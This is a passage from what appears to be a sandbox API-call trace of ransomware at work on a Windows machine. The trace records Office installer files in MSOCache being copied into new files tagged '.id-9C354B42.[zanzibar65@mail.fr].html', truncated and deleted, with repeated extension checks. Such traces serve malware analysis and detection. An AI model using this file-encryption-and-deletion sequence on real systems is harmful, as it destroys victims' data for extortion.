lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0044.429] CloseHandle (hObject=0x200) returned 1 [0044.429] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0044.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.430] lstrlenW (lpString=".doc") returned 4 [0044.430] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.430] lstrlenW (lpString=".docx") returned 5 [0044.430] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.430] lstrlenW (lpString=".pdf") returned 4 [0044.430] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.430] lstrlenW (lpString=".xls") returned 4 [0044.430] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.430] lstrlenW (lpString=".xlsx") returned 5 [0044.430] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.430] lstrlenW (lpString=".ppt") returned 4 [0044.430] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.430] lstrlenW (lpString=".zip") returned 4 [0044.430] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.430] lstrlenW (lpString=".rar") returned 4 [0044.430] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.430] lstrlenW (lpString=".bz2") returned 4 [0044.430] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.430] lstrlenW (lpString=".7z") returned 3 [0044.430] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.430] lstrlenW (lpString=".dbf") returned 4 [0044.430] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.431] lstrlenW (lpString=".1cd") returned 4 [0044.431] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.431] lstrlenW (lpString=".jpg") returned 4 [0044.431] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.431] lstrlenW (lpString=".doc") returned 4 [0044.431] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.431] lstrlenW (lpString=".docx") returned 5 [0044.431] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.431] lstrlenW (lpString=".pdf") returned 4 [0044.431] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.431] lstrlenW (lpString=".xls") returned 4 [0044.431] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.431] lstrlenW (lpString=".xlsx") returned 5 [0044.431] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.431] lstrlenW (lpString=".ppt") returned 4 [0044.431] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.431] lstrlenW (lpString=".zip") returned 4 [0044.431] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.431] lstrlenW (lpString=".rar") returned 4 [0044.431] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.431] lstrlenW (lpString=".bz2") returned 4 [0044.431] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.431] lstrlenW (lpString=".7z") returned 3 [0044.431] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.431] lstrlenW (lpString=".dbf") returned 4 [0044.431] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.432] lstrlenW (lpString=".1cd") returned 4 [0044.432] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0044.432] lstrlenW (lpString=".jpg") returned 4 [0044.432] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.432] lstrcmpiW (lpString1=".EXE", lpString2=".html") returned -1 [0044.432] lstrlenW (lpString="DW20.EXE") returned 8 [0044.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.903] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=838536) returned 1 [0044.903] CloseHandle (hObject=0x200) returned 1 [0044.903] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0044.903] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.903] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.903] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0044.904] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0044.904] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.904] GetLastError () returned 0x0 [0044.904] ReadFile (in: hFile=0x200, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0xccb88, lpOverlapped=0x0) returned 1 [0045.145] WriteFile (in: hFile=0x1f0, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0045.160] ReadFile (in: hFile=0x200, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0045.161] WriteFile (in: hFile=0x1f0, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xe4, lpOverlapped=0x0) returned 1 [0045.161] SetEndOfFile (hFile=0x1f0) returned 1 [0045.161] CloseHandle (hObject=0x1f0) returned 1 [0045.161] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0045.161] SetEndOfFile (hFile=0x200) returned 1 [0045.168] CloseHandle (hObject=0x200) returned 1 [0045.168] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0045.168] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0045.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.168] lstrlenW (lpString=".doc") returned 4 [0045.168] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0045.168] lstrlenW (lpString=".docx") returned 5 [0045.168] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0045.168] lstrlenW (lpString=".pdf") returned 4 [0045.169] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0045.169] lstrlenW (lpString=".xls") returned 4 [0045.169] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0045.169] lstrlenW (lpString=".xlsx") returned 5 [0045.169] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0045.169] lstrlenW (lpString=".ppt") returned 4 [0045.169] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0045.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.169] lstrlenW (lpString=".zip") returned 4 [0045.169] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0045.169] lstrlenW (lpString=".rar") returned 4 [0045.169] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0045.169] lstrlenW (lpString=".bz2") returned 4 [0045.169] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0045.169] lstrlenW (lpString=".7z") returned 3 [0045.169] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0045.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.169] lstrlenW (lpString=".dbf") returned 4 [0045.169] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0045.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.169] lstrlenW (lpString=".1cd") returned 4 [0045.169] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0045.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.169] lstrlenW (lpString=".jpg") returned 4 [0045.169] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0045.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.169] lstrlenW (lpString=".doc") returned 4 [0045.169] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0045.169] lstrlenW (lpString=".docx") returned 5 [0045.169] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0045.169] lstrlenW (lpString=".pdf") returned 4 [0045.170] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0045.170] lstrlenW (lpString=".xls") returned 4 [0045.170] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0045.170] lstrlenW (lpString=".xlsx") returned 5 [0045.170] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0045.170] lstrlenW (lpString=".ppt") returned 4 [0045.170] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0045.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.170] lstrlenW (lpString=".zip") returned 4 [0045.170] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0045.170] lstrlenW (lpString=".rar") returned 4 [0045.170] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0045.170] lstrlenW (lpString=".bz2") returned 4 [0045.170] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0045.170] lstrlenW (lpString=".7z") returned 3 [0045.170] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0045.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.170] lstrlenW (lpString=".dbf") returned 4 [0045.170] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0045.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.170] lstrlenW (lpString=".1cd") returned 4 [0045.170] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0045.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0045.170] lstrlenW (lpString=".jpg") returned 4 [0045.170] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0045.181] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0045.181] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0045.181] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0045.181] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=868864) returned 1 [0045.181] CloseHandle (hObject=0x21c) returned 1 [0045.181] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0045.181] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.181] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0045.181] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0045.181] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0045.181] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0045.182] GetLastError () returned 0x0 [0045.182] ReadFile (in: hFile=0x21c, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0xd4200, lpOverlapped=0x0) returned 1 [0045.381] WriteFile (in: hFile=0x218, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0045.397] ReadFile (in: hFile=0x21c, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0045.397] WriteFile (in: hFile=0x218, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xf4, lpOverlapped=0x0) returned 1 [0045.397] SetEndOfFile (hFile=0x218) returned 1 [0045.397] CloseHandle (hObject=0x218) returned 1 [0045.397] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0045.397] SetEndOfFile (hFile=0x21c) returned 1 [0045.404] CloseHandle (hObject=0x21c) returned 1 [0045.404] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0045.404] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0045.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.404] lstrlenW (lpString=".doc") returned 4 [0045.404] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.405] lstrlenW (lpString=".docx") returned 5 [0045.405] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0045.405] lstrlenW (lpString=".pdf") returned 4 [0045.405] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.405] lstrlenW (lpString=".xls") returned 4 [0045.405] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.405] lstrlenW (lpString=".xlsx") returned 5 [0045.405] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0045.405] lstrlenW (lpString=".ppt") returned 4 [0045.405] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.405] lstrlenW (lpString=".zip") returned 4 [0045.405] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.405] lstrlenW (lpString=".rar") returned 4 [0045.405] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.405] lstrlenW (lpString=".bz2") returned 4 [0045.405] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.405] lstrlenW (lpString=".7z") returned 3 [0045.405] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.405] lstrlenW (lpString=".dbf") returned 4 [0045.405] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.405] lstrlenW (lpString=".1cd") returned 4 [0045.405] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.405] lstrlenW (lpString=".jpg") returned 4 [0045.405] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.405] lstrlenW (lpString=".doc") returned 4 [0045.405] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.405] lstrlenW (lpString=".docx") returned 5 [0045.405] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0045.406] lstrlenW (lpString=".pdf") returned 4 [0045.406] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.406] lstrlenW (lpString=".xls") returned 4 [0045.406] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.406] lstrlenW (lpString=".xlsx") returned 5 [0045.406] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0045.406] lstrlenW (lpString=".ppt") returned 4 [0045.406] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.406] lstrlenW (lpString=".zip") returned 4 [0045.406] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.406] lstrlenW (lpString=".rar") returned 4 [0045.406] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.406] lstrlenW (lpString=".bz2") returned 4 [0045.406] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.406] lstrlenW (lpString=".7z") returned 3 [0045.406] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.511] lstrlenW (lpString=".dbf") returned 4 [0045.511] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.511] lstrlenW (lpString=".1cd") returned 4 [0045.511] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.511] lstrlenW (lpString=".jpg") returned 4 [0045.512] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.512] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0045.512] lstrlenW (lpString="Office32WW.msi") returned 14 [0045.512] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0046.030] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=1992192) returned 1 [0046.031] CloseHandle (hObject=0x21c) returned 1 [0046.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0046.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.031] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0046.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0046.031] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0046.031] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0046.032] ReadFile (in: hFile=0x21c, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.101] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0046.101] ReadFile (in: hFile=0x21c, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.121] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.121] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0046.121] ReadFile (in: hFile=0x21c, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, 